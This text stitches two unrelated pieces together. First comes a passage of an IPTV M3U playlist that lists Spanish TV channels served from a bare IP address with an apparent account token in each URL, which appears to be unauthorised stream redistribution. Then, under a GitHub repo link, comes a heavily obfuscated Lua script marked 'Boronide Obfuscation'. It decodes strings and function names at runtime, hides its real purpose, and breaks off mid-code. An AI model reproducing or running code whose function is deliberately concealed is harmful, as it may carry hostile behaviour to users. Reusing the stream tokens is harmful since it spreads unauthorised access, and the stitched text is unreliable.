#EXTINF:-1,ES: TAQUILLA 1 HD 563 http://51.91.73.99:25461/spain/XDWu1KatRP/21827 564 #EXTINF:-1,ES: TAQUILLA 2 HD 565 http://51.91.73.99:25461/spain/XDWu1KatRP/21828 566 #EXTINF:-1,ES: TAQUILLA 3 HD 567 http://51.91.73.99:25461/spain/XDWu1KatRP/21829 568 #EXTINF:-1,ES: TAQUILLA 4 HD 569 http://51.91.73.99:25461/spain/XDWu1KatRP/21830 570 #EXTINF:-1,ES: TAQUILLA 5 HD 571 http://51.91.73.99:25461/spain/XDWu1KatRP/21831 572 #EXTINF:-1,ES: TAQUILLA 6 HD 573 http://51.91.73.99:25461/spain/XDWu1KatRP/21832 574 #EXTINF:-1,ES: TAQUILLA 7 HD 575 http://51.91.73.99:25461/spain/XDWu1KatRP/21833 576 #EXTINF:-1,ES: TAQUILLA 8 HD 577 http://51.91.73.99:25461/spain/XDWu1KatRP/21834 578 #EXTINF:-1,ES: Taquilla 9 HD 579 http://51.91.73.99:25461/spain/XDWu1KatRP/21835 580 #EXTINF:-1,ES: Taquilla 10 HD 581 http://51.91.73.99:25461/spain/XDWu1KatRP/21836 582 #EXTINF:-1,ES: Taquilla 11 HD 583 http://51.91.73.99:25461/spain/XDWu1KatRP/21837 584 #EXTINF:-1,ES: Taquilla 12 HD 585 http://51.91.73.99:25461/spain/XDWu1KatRP/21838 586 #EXTINF:-1,ES: TAQUILLA HARRY POTTER 587 http://51.91.73.99:25461/spain/XDWu1KatRP/21839 588 #EXTINF:-1,ES: Taroteame 589 http://51.91.73.99:25461/spain/XDWu1KatRP/21840 590 #EXTINF:-1,ES: TC Television HD 591 http://51.91.73.99:25461/spain/XDWu1KatRP/21841 592 #EXTINF:-1,ES: TCM FHD 593 http://51.91.73.99:25461/spain/XDWu1KatRP/21842 594 #EXTINF:-1,ES: TDP FHD 595 http://51.91.73.99:25461/spain/XDWu1KatRP/21843 596 #EXTINF:-1,ES: TELE MADRID FHD 597 http://51.91.73.99:25461/spain/XDWu1KatRP/21844 598 #EXTINF:-1,ES: TELE SAFOR 599 http://51.91.73.99:25461/spain/XDWu1KatRP/21845 600 #EXTINF:-1,ES: TELECINCO FHD 601 http://51.91.73.99:25461/spain/XDWu1KatRP/21846 602 #EXTINF:-1,ES: TELECINO HD 603 http://51.91.73.99:25461/spain/XDWu1KatRP/21847 604 #EXTINF:-1,ES: Teledeporte FHD 605 http://51.91.73.99:25461/spain/XDWu1KatRP/21848 606 #EXTINF:-1,ES: Telenico HD 607 http://51.91.73.99:25461/spain/XDWu1KatRP/21849 608 #EXTINF:-1,ES: TELENOVELAS 609 http://51.91.73.99:25461/spain/XDWu1KatRP/21850 610 #EXTINF:-1,ES: TelePavia 611 http://51.91.73.99:25461/spain/XDWu1KatRP/21851 612 #EXTINF:-1,ES: Telesur FHD 613 http://51.91.73.99:25461/spain/XDWu1KatRP/21852 614 #EXTINF:-1,ES: Televisión Melilla HD 615 http://51.91.73.99:25461/spain/XDWu1KatRP/21853 616 #EXTINF:-1,ES: TEN 617 http://51.91.73.99:25461/spain/XDWu1KatRP/21854 618 #EXTINF:-1,ES: TNT FHD 619 http://51.91.73.99:25461/spain/XDWu1KatRP/21855 620 #EXTINF:-1,ES: TOROS FHD 621 http://51.91.73.99:25461/spain/XDWu1KatRP/21856 622 #EXTINF:-1,ES: TRECE 623 http://51.91.73.99:25461/spain/XDWu1KatRP/21857 624 #EXTINF:-1,ES: TV 3 Catalunya FHD 625 http://51.91.73.99:25461/spain/XDWu1KatRP/21858 626 #EXTINF:-1,ES: TV 4 Vall Uxó 627 http://51.91.73.99:25461/spain/XDWu1KatRP/21859 628 #EXTINF:-1,ES: TV 13 629 http://51.91.73.99:25461/spain/XDWu1KatRP/21860 630 #EXTINF:-1,ES: TV Evangelizar HD 631 http://51.91.73.99:25461/spain/XDWu1KatRP/21861 632 #EXTINF:-1,ES: TV GALICIA FHD 633 http://51.91.73.99:25461/spain/XDWu1KatRP/21862 634 #EXTINF:-1,ES: TV Girona 635 http://51.91.73.99:25461/spain/XDWu1KatRP/21863 636 #EXTINF:-1,ES: TV MELILLA 637 http://51.91.73.99:25461/spain/XDWu1KatRP/21864 638 #EXTINF:-1,ES: TV RECORD FHD 639 http://51.91.73.99:25461/spain/XDWu1KatRP/21865 640 #EXTINF:-1,ES: TV3 Cat 641 http://51.91.73.99:25461/spain/XDWu1KatRP/21866 642 #EXTINF:-1,ES: TV3 Cataluña FHD 643 http://51.91.73.99:25461/spain/XDWu1KatRP/21867 644 #EXTINF:-1,ES: TV3 FHD 645 http://51.91.73.99:25461/spain/XDWu1KatRP/21868 646 #EXTINF:-1,ES: TVE 24H 647 http://51.91.73.99:25461/spain/XDWu1KatRP/21869 648 #EXTINF:-1,ES: TVE Internacional 649 http://51.91.73.99:25461/spain/XDWu1KatRP/21870 650 #EXTINF:-1,ES: TVE La 1 FHD 651 http://51.91.73.99:25461/spain/XDWu1KatRP/21871 652 #EXTINF:-1,ES: TVE La1 Madrid 653 http://51.91.73.99:25461/spain/XDWu1KatRP/21872 654 #EXTINF:-1,ES: TVE La2 HD 655 http://51.91.73.99:25461/spain/XDWu1KatRP/21873 656 #EXTINF:-1,ES: TVN 7 FHD 657 http://51.91.73.99:25461/spain/XDWu1KatRP/21874 658 #EXTINF:-1,ES: Une Vinalopó 659 http://51.91.73.99:25461/spain/XDWu1KatRP/21875 660 #EXTINF:-1,ES: VH1 661 http://51.91.73.99:25461/spain/XDWu1KatRP/21876 662 #EXTINF:-1,ES: Viajar FHD 663 http://51.91.73.99:25461/spain/XDWu1KatRP/21878 664 #EXTINF:-1,ES: XTRM FHD 665 http://51.91.73.99:25461/spain/XDWu1KatRP/21879
GitHub Repo
https://github.com/Yutsayyywwwwwa/-Dogwater
Yutsayyywwwwwa/-Dogwater
--Boronide™ Free Obfuscation, v0.3.3 local a,b,c=nil,nil,nil([[Boronide Obfuscation, discord.gg/boronide]]):gsub('(.*)',function(d)local e="h6tahTjcrNXsUZeHPGc8G7P7"local f="E8QLRFuKcBKinhFOkr6Txj7Q"local g=3374;local h=4349;while(g<h)do h=g-8698;do while(g>(h-12))do h=(g+3964)*2;do while(g<h)do h=g-29352;e=d end end ;do if g>(h-6748)then h=(g+6748)c=getfenv or function()return _ENV end end end end end ;do if(6748-g)<(h+3395)then g=((h+3374)*2)f=d end end end;local c=c()local d=c["string"]["\99\104\97\114"](99,104,97,114)local g=c[string[d](115,116,114,105,110,103)]local h="w_FO1YvOp5IJ_JEze8v"local i="FhPtD"local j="feEcFocMGgixL"do local a=57;local b=9.948514753135893;local e=945.8116617232874;local f={}do while(true)do do if(a*9==864)then if(a+48==144)and((e==58.065739250560796)and(b==254.19723852254086)and(f[683]==false)and(f[978]=='taq5mMQ1YN')and(f[85]=='y6Sc0G8XbW'))then break end end end ;do if(a*5==285)then do while((e==945.8116617232874)and(b==9.948514753135893))and(a+28==85)do f[683]=false;b=208.10539351100033;f[978]='XdSMTTzvzL'e=14.79275139770333;a=0;f[85]='14JaubIdy7'break end end end end ;do if(a*0==0)then if((e==14.79275139770333)and(b==208.10539351100033)and(f[683]==false)and(f[978]=='XdSMTTzvzL')and(f[85]=='14JaubIdy7'))and(a+0==0)then e=293.81901756205644;b=50.76360028999613;f[683]=false;j=c[g[d](115,116,114,105,110,103)][d]f[978]='Cc8BoLxI5L'a=185;f[85]='zIiZJ6JTj2'end end end ;while(a+92==277)and((e==293.81901756205644)and(b==50.76360028999613)and(f[683]==false)and(f[978]=='Cc8BoLxI5L')and(f[85]=='zIiZJ6JTj2'))do f[978]='QRnnIlRuvR'h=c[g[d](115,116,114,105,110,103)][g[d](98,121,116,101)]f[85]='ZayGksf8ut'e=688.0362155309301;f[683]=false;b=60.11202450937801;a=137;break end;do if(a*13==1781)then do while((e==688.0362155309301)and(b==60.11202450937801)and(f[683]==false)and(f[978]=='QRnnIlRuvR')and(f[85]=='ZayGksf8ut'))and(a+68==205)do i=c[g[d](115,116,114,105,110,103)][g[d](103,109,97,116,99,104)]f[85]='y6Sc0G8XbW'e=58.065739250560796;a=96;f[978]='taq5mMQ1YN'f[683]=false;b=254.19723852254086;break end end end end ;if(a+164==492)and((e==58.767843705359496)and(b==30.314354735452678)and(f[683]==false)and(f[978]=='INVDZQdEvM')and(f[85]=='hgLTbPgahH'))then a=57;e=945.8116617232874;b=9.948514753135893 end end end end;b={[f]=41,['\95'..j(66,111,114,111,110,105,100,101,32,79,98,102,117,115,99,97,116,105,111,110,44,32,100,105,115,99,111,114,100,46,103,103,47,98,111,114,111,110,105,100,101)]=e}b[g[d](95,120,95,88,88,90,120,76,120,53,48,79,57,121,51,108,49)]=h;b[g[d](95,120,89,52,50,49,76,53,55,111,56,52,95,57,53,76,51)]=j;b[g[d](95,120,73,50,56,120,95,56,122,73,54,48,48,95,55,55,76)]=i;do local c=727;local d=103.18096328243759;local g=418.9780934608633;local h={}do for i in(function()return 217 end)do if(c+0==0)and((d==738.9184538030601)and(g==211.83434845499667)and(h[483]==false)and(h[587]=='i3cQ61Egex')and(h[103]=='fzK6QeZKK4'))then d=189.85164783288644;g=663.1195070633222;do if(b[f]~=nil and(#e~=b[f]))then return 0 end end ;h[103]='qivLTCop58'h[587]='SVAmdDmxDV'h[483]=false;c=518 end;if(c*9==855)then do while(c+47==142)and((d==21.780102306438227)and(g==239.285573041695)and(h[483]==false)and(h[587]=='Ek5W5sVSyH')and(h[103]=='CQDIUtD1jq'))do do if(e~=b['\95'..f])then return(b[3123139])end end ;g=365.35801399237056;d=93.87829916798594;h[103]='Mdwrllf9dA'c=621;h[483]=false;h[587]='G5b9Sb0Ash'break end end end;do if(c*51==26418)then while((d==189.85164783288644)and(g==663.1195070633222)and(h[483]==false)and(h[587]=='SVAmdDmxDV')and(h[103]=='qivLTCop58'))and(c+259==777)do g=239.285573041695;h[103]='CQDIUtD1jq'h[587]='Ek5W5sVSyH'd=21.780102306438227;c=95;h[483]=false;do if(j(66,111,114,111,110,105,100,101,32,79,98,102,117,115,99,97,116,105,111,110,44,32,100,105,115,99,111,114,100,46,103,103,47,98,111,114,111,110,105,100,101)~=f)then return false end end ;break end end end ;if(c+369==1107)and((d==158.97721220192196)and(g==83.74291241419341)and(h[483]==false)and(h[587]=='hS7rfCRtqr')and(h[103]=='Z09WctucsN'))then break end;do if(c*62==38502)then do while(c+310==931)and((d==93.87829916798594)and(g==365.35801399237056)and(h[483]==false)and(h[587]=='G5b9Sb0Ash')and(h[103]=='Mdwrllf9dA'))do h[483]=false;g=83.74291241419341;d=158.97721220192196;a=f;h[587]='hS7rfCRtqr'c=738;h[103]='Z09WctucsN'break end end end end ;if(c+290==871)and((d==409.4645378779734)and(g==189.79093164113664)and(h[483]==false)and(h[587]=='InEFHyLLnL')and(h[103]=='QiiLnUTWEi'))then d=103.18096328243759;c=727;g=418.9780934608633 end;do if(c+363==1090)and((d==103.18096328243759)and(g==418.9780934608633))then h[483]=false;g=211.83434845499667;h[103]='fzK6QeZKK4'c=0;h[587]='i3cQ61Egex'd=738.9184538030601 end end end end end;a=f;b[f]=nil end)local d=b["_xI28x_8zI600_77L"]local e=b["_xY421L57o84_95L3"]local f=b["_x_XXZxLx50O9y3l1"]local g=c()[e(115,116,114,105,110,103)]local h=0;local i={}local j={}local k=g[e(115,117,98)]for a=h,255 do local a,b=e(a),e(a,h)i[a]=b;j[b]=a end(b)["_x_XXZxLx50O9y3l1"]=nil(b)["_xY421L57o84_95L3"]=(i[357.4824488531758]) ;(b)["_xI28x_8zI600_77L"]=nil;local j=c()[e(115,116,114,105,110,103)][e(115,117,98)]local k="_xyL54iz3lOZyx3O"local l=function(...)return...end;local l={(b[2165149])}local l=g[e(108,101,110)]local m=c()[e(112,97,105,114,115)]local n=0;local n=-1;local o=c()[e(114,97,119,103,101,116)]local function p(a,b,c)do if c==5365109 then return a==b elseif c==8493765 then return a<b elseif c==9498889 then return a<=b end end end;local q=c()[e(116,97,98,108,101)][e(99,111,110,99,97,116)]local g=g[e(102,111,114,109,97,116)]local function r(a,b,c)if p(c,9139765,5365109)then return a..b elseif p(c,8956974,5365109)then return q(a,b)end end;local function q(a,b,c)if p(c,3647149,5365109)then return a*b elseif p(c,3065112,5365109)then return a/b elseif p(c,4623770,5365109)then return a+b elseif p(c,8986428,5365109)then return a-b elseif p(c,9364006,5365109)then return a%b elseif p(c,7181735,5365109)then return a^b end end;local s={}local t=c()[e(109,97,116,104)][e(102,108,111,111,114)]local function u(a,b)if p(b,3391225,5365109)then return-a elseif p(b,665512,5365109)then return not a elseif p(b,7695891,5365109)then return#a end end;local v,w,x,y,z,A,B;local C=5259;local D=3464;while(C>(D-11))do D=(C+1747)*2;do while(C<D)do D=C-28024;do while(C>(D-12))do D=(C+892)*2;w=function(a,b)local c=""local d=1;for e=1,#a do local a=B(a[e],f(b,d))c=c..s[a]or a;d=d+1;do if d>#b then d=1 end end end;return c end end end ;do if(10518-C)<(D+5292)then C=((D+5259)*2)z=function(a,b)return t(a)*(2^b)end end end end end ;if C>(D-70244)then D=(C+10518)A=function(a,b)local c=""local d=1;do for e=1,#a do local a=B(f(a,e),f(b,d))c=c..o(s,a)or a;d=d+1;do if d>#b then d=1 end end end end ;return c end end end;B=function(a,b)local c,d=1,0;do while a>0 and b>0 do local e,f=a%2,b%2;do if e~=f then d=d+c end end ;a,b,c=(a-e)/2,(b-f)/2,c*2 end end ;do if a<b then a=b end end ;do while a>0 do local b=a%2;do if b>0 then d=d+c end end ;a,c=(a-b)/2,c*2 end end ;return d end;local t=1;do for a,b in m(i)do s[f(a)]=a end end ;local i=(function()return 0.08447830531680767 end)local t=(function(a)do while a do i()end end ;return function()s=nil;B=nil end end) ;(i)()n=function(a)local b={}do for a,a in m(a)do b[a]=true end end ;return b end;local i=c()[e(117,110,112,97,99,107)]local t=c()[e(110,101,120,116)]local function t(a,b,c)do for a=a,b do c(a)end end end;local function w(a,b,c)do if c then local a=(a/2^(b-1))%2^((c-1)-(b-1)+1)return a-a%1 else local b=2^(b-1)if(a%(b+b)>=b)then return 1 else return 0 end end end end;local C={n({563}),n({655})}do local a={}local b=166.12468063054843;local c=382;local d=832.5051954028818;repeat while((d==553.1360981809197)and(b==345.8360218134957)and(a[389]==false)and(a[361]=='kKtlHgxNZr')and(a[594]=='jPASwI8ypq'))and(c+193==580)do b=166.12468063054843;c=382;d=832.5051954028818;break end;do if(c*0==0)then if((d==72.41359143434201)and(b==350.227169284117)and(a[389]==false)and(a[361]=='GpCycWFw5h')and(a[594]=='kggh5h9fJT'))and(c+0==0)then a[389]=false;c=871;a[594]='A1x7z6emcN'a[361]='ZcOsted19e'b=202.39653038946878;y=function(a,b)local c=""local d=1;local e=#b-1;t(d,#a,function(g)c=c..s[B(a[g],f(b,d))]d=(d>e)and 1 or d+1 end)return c end;d=39.429125728040624 end end end ;do if((d==56.25303177157137)and(b==162.3911203926438)and(a[389]==false)and(a[361]=='8aN0FF3z3x')and(a[594]=='EFEqUS1d81'))and(c+349==1048)then v=function(a,b)local c=""local d=1;local e=l(b)-d;t(d,l(a),function(g)c=c..s[B(f(a,g),f(b,d))]d=(d>e)and 1 or d+1 end)return c end;c=984;a[594]='qvkQqb6mJu'a[389]=false;b=27.191541559794224;d=785.0674591092454;a[361]='sXpkwwTSvZ'end end ;while((d==832.5051954028818)and(b==166.12468063054843))and(c+191==573)do a[594]='kggh5h9fJT'a[389]=false;c=0;d=72.41359143434201;a[361]='GpCycWFw5h'b=350.227169284117;break end;while(c+435==1306)and((d==39.429125728040624)and(b==202.39653038946878)and(a[389]==false)and(a[361]=='ZcOsted19e')and(a[594]=='A1x7z6emcN'))do x=function(a,b)local c=""do for d=1,l(a)do c=c..s[B(f(a,d),b)]end end ;return c end;d=56.25303177157137;a[389]=false;a[361]='8aN0FF3z3x'c=699;a[594]='EFEqUS1d81'b=162.3911203926438;break end;do if((d==785.0674591092454)and(b==27.191541559794224)and(a[389]==false)and(a[361]=='sXpkwwTSvZ')and(a[594]=='qvkQqb6mJu'))and(c+492==1476)then break end end until(false)end;local D={{},{}}local E=1;do for a=1,255 do if a>=112 then D[2][E]=a;E=E+1 else D[1][a]=a end end end ;local i=e(i(D[1]))..e(i(D[2]))local i,D,E,F,G,H,I,J;do local a={}local b=919.4347501295013;local c=193.70197571712922;local d=261;repeat do if(d*68==46784)then if(d+344==1032)and((c==133.23743226270184)and(b==43.392529992415184)and(a[140]==false)and(a[788]=='ooX06s4jnR')and(a[601]=='sQTSkY29zS'))then c=675.2821306027946;a[601]='jRyYJxUQbn'a[788]='KjAJTHHkoc'b=601.8623227751257;i=e(76,103,73,113,113,88,69,115,103,52,56)a[140]=false;d=955 end end end ;if(d*95==90725)then do while((c==675.2821306027946)and(b==601.8623227751257)and(a[140]==false)and(a[788]=='KjAJTHHkoc')and(a[601]=='jRyYJxUQbn'))and(d+477==1432)do a[788]='y6qhLa7r8P'b=302.770673724087;i=e(97,86,76,105,86,53,122,54,110,115,108)c=382.11234662433696;a[140]=false;a[601]='l4DU3GrGru'd=331;break end end end;do if(d*39==15366)then do while((c==405.661041018595)and(b==33.77331273836841)and(a[140]==false)and(a[788]=='h62mIoBObN')and(a[601]=='jtyPketASN'))and(d+197==591)do i=e(80,55,118,74,101,103,55,54,81,76)a[788]='1VEeQKJpmB'b=38.765723076891994;a[601]='9EPuF7it92'c=233.2319530325613;d=591;a[140]=false;break end end end end ;if(d*0==0)then if((c==204.21509204386967)and(b==530.3847071390861)and(a[140]==false)and(a[788]=='UayTpoo3KJ')and(a[601]=='2MHLyvyawS'))and(d+0==0)then a[788]='h62mIoBObN'i=e(89,55,49,103,120,95,54,97,66,101,74)a[601]='jtyPketASN'b=33.77331273836841;c=405.661041018595;a[140]=false;d=394 end end;do if((c==105.81836335190657)and(b==353.2561027421426)and(a[140]==false)and(a[788]=='ffrpKaBC9l')and(a[601]=='uz6lLyLZKb'))and(d+120==361)then b=919.4347501295013;c=193.70197571712922;d=261 end end ;do if(d*59==34869)then do while((c==233.2319530325613)and(b==38.765723076891994)and(a[140]==false)and(a[788]=='1VEeQKJpmB')and(a[601]=='9EPuF7it92'))and(d+295==886)do a[140]=false;a[601]='sQTSkY29zS'd=688;i=e(122,99,108,114,79,84,89,102,105,73,86)a[788]='ooX06s4jnR'b=43.392529992415184;c=133.23743226270184;break end end end end ;do if(d+374==1123)and((c==60.145514721735665)and(b==130.45027400854417)and(a[140]==false)and(a[788]=='GiPFvYDt2C')and(a[601]=='GplPShk7Ar'))then break end end ;if(d+165==496)and((c==382.11234662433696)and(b==302.770673724087)and(a[140]==false)and(a[788]=='y6qhLa7r8P')and(a[601]=='l4DU3GrGru'))then a[601]='GplPShk7Ar'c=60.145514721735665;a[788]='GiPFvYDt2C'a[140]=false;d=749;i=e(90,113,113,90,103,89,83,68,119,89,102)b=130.45027400854417 end;if(d*26==6786)then do while((c==193.70197571712922)and(b==919.4347501295013))and(d+130==391)do a[601]='2MHLyvyawS'a[140]=false;a[788]='UayTpoo3KJ'b=530.3847071390861;c=204.21509204386967;d=0;break end end end until(false)end;local K=1219;local L=2585;do while(K<L)do L=K-5170;do while(K>(L-11))do L=(K+1006)*2;do while(K<L)do L=K-8900;do while(K>(L-10))do L=(K+1339)*2;G=function(a,...)return x(a,J,...)end end end ;if(2438-K)<(L+1263)then K=((L+1219)*2)I=function(...)return y(...,i)end end end end ;if K>(L-25340)then L=(K+2438)H=function(a,...)return v(a,i,...)end end end end ;if(25340-K)<(L+12695)then K=((L+1219)*2)F=function(a,...)return v(a,J,...)end end end end ;do local a=17.85018225924042;local b=75.08435333775887;local c={}local d=490;repeat if(d*58==34104)then if((a==552.2543597836177)and(b==598.8255189920208)and(c[338]==false)and(c[515]=='cGkknDJSxM')and(c[243]=='fQGT0Levhr'))and(d+294==882)then d=490;a=17.85018225924042;b=75.08435333775887 end end;do if(d*5==275)then while(d+27==82)and((a==32.26456136119497)and(b==162.54559534601248)and(c[338]==false)and(c[515]=='nrdWUB3lIv')and(c[243]=='LZsTgzohtt'))do b=128.26540198429447;c[515]='8XxXLEs8zd'd=514;c[338]=false;a=224.7930387882687;J=55;c[243]='Qz0fH0XVjT'break end end end ;do if(d*36==12996)then while((a==399.4174456874884)and(b==188.60442304701706)and(c[338]==false)and(c[515]=='tlcPbR4WRJ')and(c[243]=='V0bTSwtNxr'))and(d+180==541)do c[243]='aFnnJYtM0i'c[338]=false;d=489;b=252.71486889200676;J=65;a=20.13547506854322;c[515]='um4ZjLL8YI'break end end end ;do if(d+244==733)and((a==20.13547506854322)and(b==252.71486889200676)and(c[338]==false)and(c[515]=='um4ZjLL8YI')and(c[243]=='aFnnJYtM0i'))then c[243]='bKa6peZWF5'J=183;b=629.5957401197459;c[515]='oRr3IlatKR'a=680.5000090809137;c[338]=false;d=773 end end ;while(d+245==735)and((a==17.85018225924042)and(b==75.08435333775887))do c[243]='J6DWkbgJfR'c[515]='CcHbTRPqOG'c[338]=false;d=0;a=486.39791232609065;b=324.25681087174496;break end;do if(d+0==0)and((a==486.39791232609065)and(b==324.25681087174496)and(c[338]==false)and(c[515]=='CcHbTRPqOG')and(c[243]=='J6DWkbgJfR'))then c[243]='goKG7y9RAL'b=1.985993166566552;c[515]='BvEV83CpCq'c[338]=false;J=200;a=457.9926267727917;d=534 end end ;if(d*53==28302)then do if((a==457.9926267727917)and(b==1.985993166566552)and(c[338]==false)and(c[515]=='BvEV83CpCq')and(c[243]=='goKG7y9RAL'))and(d+267==801)then c[243]='LZsTgzohtt'c[515]='nrdWUB3lIv'J=64;a=32.26456136119497;d=55;c[338]=false;b=162.54559534601248 end end end;while((a==224.7930387882687)and(b==128.26540198429447)and(c[338]==false)and(c[515]=='8XxXLEs8zd')and(c[243]=='Qz0fH0XVjT'))and(d+257==771)do c[243]='V0bTSwtNxr'J=40;b=188.60442304701706;a=399.4174456874884;d=361;c[515]='tlcPbR4WRJ'c[338]=false;break end;do if(d+386==1159)and((a==680.5000090809137)and(b==629.5957401197459)and(c[338]==false)and(c[515]=='oRr3IlatKR')and(c[243]=='bKa6peZWF5'))then break end end until(false)end;D=y({34,51,12,21,46,63,53,3,27,37,8,44},"\109\98\74\80\98\83\109\83\83\110\97\73")local x=f(e(1))b["_xy8xiXY1IZ68zL_O7"]=function(a,c)local d=e()local e=x;for h=x,#a do local a=B(f(a,h),f(c,e))d=g(((b[1685716])),d,o(s,a)or a)e=e+x;e=(e>#c and x)or e end;return d end;local g=b[I({5,9,8,98,31,48,11,29,70,16,60,108,73,11,22,56,22,100})]local o=function(a,b)if(b>=h)then return q(a,z(1,b),3647149)else return q(a,z(1,-b),3065112)end end;return(function(x)do if false then while x do x=21.119814741303067 end else local y,z,F;y=(y or 0)for a,a in m(x)do y=(y or 0)+1 end;do if(y<2)then return("Pww2g4hY6eABf")end end ;local m=4143;local y=5428;while(m<y)do y=m-10856;do while(m>(y-10))do y=(m+3126)*2;z=x[1]end end ;if(8286-m)<(y+4147)then m=((y+4143)*2)F=x[2]end end;b={}do local a=c()[H("\41\20\5\55\2\45\50\48\22\59\10\63")]if false then do while b do a=(function()return 1629.027978798998 end)end end else if(a~=nil)then b[H("\5\9\8\22\82\109\58\62\68\53\41\0\8\9\105\40")]=a({[-52.040765826064415]=24.690851813176366;[-112.37664597254837]=36.91416891971312;[-207.08781555142917]=60.440813740567904;[-96.97928489414542]=-89.95126338231603},{[H("\5\46\5\53\20\45\33\45\25\62")]=function(a,a)return(function()while true do b=b or nil;if(b~=nil and b[1]~=nil)then break else b["\102\99\121\70\116\53\65\52\97\106\108\85\112\101"]="\73\119\118\67\111\49\81\119\99\55\121\86"end end;return"\66\106\81\84\90\109\74\110\50\100\68\69\55\52\115\79\65\74\81\86\79\89\73\51\87\99\52\108"end)()end})b[1]=b[k]end;do do local a=90.67809134195495;local c={}local d=461.00052345133685;local e=9;for f in(function()return 217 end)do do if(e*0==0)then if(e+0==0)and((a==85.44602230769613)and(d==21.730386045707565)and(c[19]==false)and(c[229]=='TptazFbUia')and(c[755]=='lnFtKntyaA'))then d=28.847699162927583;a=184.65450380107146;c[229]='NNLH2H8nbK'b[B(1700453,12)]=v("\60\26\38\47\51\96\28\40\58\111",i)b[B(8508690,12)]=v("\28\4\40\59\34\60\26\30\49\44",i)b[B(8533574,12)]=v("\21\11\71\107\10\19\27\114\4\54",i)b[B(6568593,12)]=v("\34\9\56\34\84\54\31\43\70\0",i)e=104;c[755]='8AdbiyTKMr'c[19]=false end end end ;do if(e*73==53874)then do while(e+369==1107)and((a==379.7152480064366)and(d==536.2680725071897)and(c[19]==false)and(c[229]=='Wa6VCOAdza')and(c[755]=='XcWYfv7aYE'))do d=121.02346953031378;a=49.79048655487769;c[19]=false;c[229]='rNjOKp16hp'c[755]='90n04CCtnY'e=516;b[B(6275307,12)]=v("\119",i)b[B(2540808,12)]=v("\9\35\20\8\36\27\42\118\17\51",i)b[B(5276922,12)]=v("\31\40\19\22\23\23\31\42\6\22",i)break end end end end ;while((a==107.4758935470861)and(d==22.861118822309212)and(c[19]==false)and(c[229]=='dyhokxcZNX')and(c[755]=='nwVceYsWFT'))and(e+410==1231)do e=252;c[19]=false;c[229]='4NEQ99CtpR'd=187.20329069006706;b[B(1329032,12)]=v("\41\48\58\106\31\108\61\17\17\52",i)b[B(8063843,12)]=v("\22\40\36\14\8\41\54\17",i)b[B(240501,12)]=v("\27\29\3\63\6\61\42\100\5\56\8\122\89\64\115\70",i)b[B(9086600,12)]=v("\109\50\36\63\6\32\24\29\60\10",i)c[755]='UEnu9MnhYa'a=11.927142565930588;break end;do while(e+170==511)and((a==129.40603157338816)and(d==799.8451122313066)and(c[19]==false)and(c[229]=='f1u0IXhj9n')and(c[755]=='uRLlQYLyBb'))do b[B(7880641,12)]=v("\2\3\27\27\33\26\22\6\48\48",i)b[B(2473752,12)]=v("\21",i)c[229]='1ebOJadBlU'e=306;c[19]=false;a=178.86898550664802;c[755]='x4h30dKquZ'd=378.6028379568792;break end end ;do if(e+256==768)and((a==178.9231968561778)and(d==262.4447653255673)and(c[19]==false)and(c[229]=='ylBwbuZPSX')and(c[755]=='FSu3HhTyHR'))then c[19]=false;d=122.38435599325487;c[229]='SxJYXGE5yN'c[755]='t6jCCXL2ON'b[B(9286655,12)]=v("\8",i)b[B(1056000,12)]=v("\41\5\3\51\9\62",i)b[B(4752413,12)]=v("\22\18\4\51\5\42\1\52\47\15",i)b[B(2035270,12)]=v("\14\73\54\8\47\3\20\47\37\104",i)a=135.91647619054294;e=343 end end ;do if(e*13==1716)then do while(e+66==198)and((a==125.54509930593991)and(d==342.6940217999622)and(c[19]==false)and(c[229]=='nrRUsHhNQu')and(c[755]=='u9K1Scc9CS'))do d=438.71494222691376;c[19]=false;a=15.849253129293423;b[B(6308149,12)]=v("\45\70\40\32\44\52\11\119\33\105",i)b[B(6952497,12)]=v("\5\9\8\98\31\48\11\29\70\16\60\108\73\11\22\56\22\100",i)c[229]='0ArOYyDfxE'c[755]='bDxYOi5i1S'e=95;break end end end end ;if(e*51==26316)then do while((a==49.79048655487769)and(d==121.02346953031378)and(c[19]==false)and(c[229]=='rNjOKp16hp')and(c[755]=='90n04CCtnY'))and(e+258==774)do b[B(3248083,12)]=v("\47\55\38\0\29\108\26\1\48\19",i)b[B(1381334,12)]=v("\34\9\69\99\81\53\96\116\14\105",i)b[B(8586263,12)]=v("\46\29\30\46\3\16\27\51\13\43",i)c[755]='JnjK8vacap'd=747.2328387930687;c[19]=false;a=23.49771975215293;c[229]='O53sNekbnU'e=615;break end end end;do if(e*14==1988)then while(e+71==213)and((a==229.0921775313839)and(d==24.120305823604827)and(c[19]==false)and(c[229]=='hl6KJVTEVY')and(c[755]=='GYng8XVGPs'))do b[B(1428362,12)]=v("\5\46\31\63\16\48\61\32\18\33",i)c[19]=false;e=100;a=277.7114148123773;c[755]='Q5P2oDUEPH'd=32.738261402931585;c[229]='tOKo5kM1ra'break end end end ;do if(e*81==66096)then do while(e+408==1224)and((a==406.78003561903637)and(d==305.19090846842425)and(c[19]==false)and(c[229]=='b2eg86cyTR')and(c[755]=='F48qRfyZBo'))do d=0.643508967338239;c[755]='0IDq97Ni3S'b[B(378069,12)]=v("\27\29\3\63\6\61\42\100\5\56\8\122\89\67\115\70",i)b[B(3460008,12)]=v("\24\30\3\53\9\48\55\33\87\22\4\60\4\2\57\6\45\60\54",i)b[B(7929578,12)]=v("\43\52\71\10\20\44\48\45\62\40",i)b[B(486081,12)]=v("\20\28\72\107\31\46\41\40\68\26",i)e=902;c[19]=false;c[229]='VFO38OLOFM'a=136.08876818559537;break end end end end ;if(e+286==858)and((a==570.9561596732043)and(d==6.46502739477487)and(c[19]==false)and(c[229]=='XwdPJY6OPE')and(c[755]=='XDDhtSRw7g'))then d=305.19090846842425;c[19]=false;e=816;a=406.78003561903637;c[229]='b2eg86cyTR'c[755]='F48qRfyZBo'b[B(8376163,12)]=v("\34\29\46\54\31\35\99\13\59\22",i)b[B(1493558,12)]=v("\48\30\50\110\40\20\0\45\5\45",i)b[B(7881700,12)]=v("\51\31\7\59\11\48\55\100\30\55\2\63\9\80",i)b[B(1452326,12)]=v("\15\20\43\23\52\54\38\1\69\27",i)b[B(1846702,12)]=v("\34\62\29\108\29\48\96\30\67\33",i)b[B(9818913,12)]=v("\22\38\73\60\30\63\7\60\46\56",i)end;do if(e*30==9180)then do while((a==178.86898550664802)and(d==378.6028379568792)and(c[19]==false)and(c[229]=='1ebOJadBlU')and(c[755]=='x4h30dKquZ'))and(e+153==459)do 